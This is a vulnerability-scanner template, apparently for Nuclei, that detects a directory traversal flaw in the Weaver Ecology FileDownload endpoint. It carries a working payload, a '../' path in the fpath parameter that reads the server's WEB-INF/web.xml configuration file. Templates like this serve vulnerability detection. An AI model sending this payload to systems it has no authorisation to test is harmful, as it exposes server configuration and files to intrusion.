id: ecology-filedownload-directory-traversal info: name: Ecology Directory Traversal author: princechaddha severity: medium tags: ecology,lfi requests: - method: GET path: - "{{BaseURL}}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "/weaver/" part: body